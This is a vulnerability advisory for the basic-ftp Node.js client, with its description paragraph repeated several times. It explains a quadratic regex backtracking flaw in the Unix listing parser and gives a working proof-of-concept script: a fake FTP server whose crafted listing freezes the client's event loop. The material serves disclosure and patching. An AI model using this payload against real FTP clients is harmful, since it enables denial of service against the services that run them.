CVE-2026-102990

basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.

basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.

Summary

Client.list() parses the server's directory listing with the Unix-style parser in parseListUnix.js. Its RE_LINE regex has two adjacent (\S+(?:\s\S+)*) groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.

The server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. parseList() picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.

Proof of concept

npm i basic-ftp && node repro.js:

const net = require("net"), ftp = require("basic-ftp");
const KB = Number(process.env.LINE_KB || 128);
const payload = "-rw-r--r-- 1 " + "a ".repeat((KB * 1024 - 13) / 2) + "!";
const listing = payload + "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n";
const server = net.createServer(c => {
  c.setEncoding("latin1"); c.write("220 ok\r\n"); let buf = "";
  c.on("data", d => { buf += d; let i;
    while ((i = buf.indexOf("\r\n")) !== -1) {
      const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);
      if (cmd.startsWith("USER")) c.write("331 .\r\n");
      else if (cmd.startsWith("PASS")) c.write("230 .\r\n");
      else if (cmd.startsWith("FEAT")) c.write("211-x\r\n UTF8\r\n211 End\r\n");
      else if (cmd.startsWith("EPSV")) { const ds = net.createServer(s => { s.write(listing); s.end(); });
        ds.listen(0, "127.0.0.1", () => c.write(`229 (|||${ds.address().port}|)\r\n`)); }
      else if (cmd.startsWith("LIST")) { c.write("150 .\r\n"); setTimeout(() => c.write("226 .\r\n"), 50); }
      else c.write("200 .\r\n"); } });
});
server.listen(0, "127.0.0.1", async () => {
  const client = new ftp.Client(0);
  await client.access({ host: "127.0.0.1", port: server.address().port, user: "x", password: "y" });
  let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now();
  await client.list(); clearInterval(hb);
  console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);
  process.exit(0);
});

Prints list() blocked 39.75s; heartbeats fired: 0, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. maxListingBytes defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.

Impact

One directory listing freezes the whole process, under default options, through the primary API. This is the same "malicious FTP server causes client-side denial of service" shape as GHSA-rp42-5vxx-qpwr, also in Client.list() and rated high. The byte cap added there bounds memory, not the parser's CPU cost.

basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.

basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.

basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.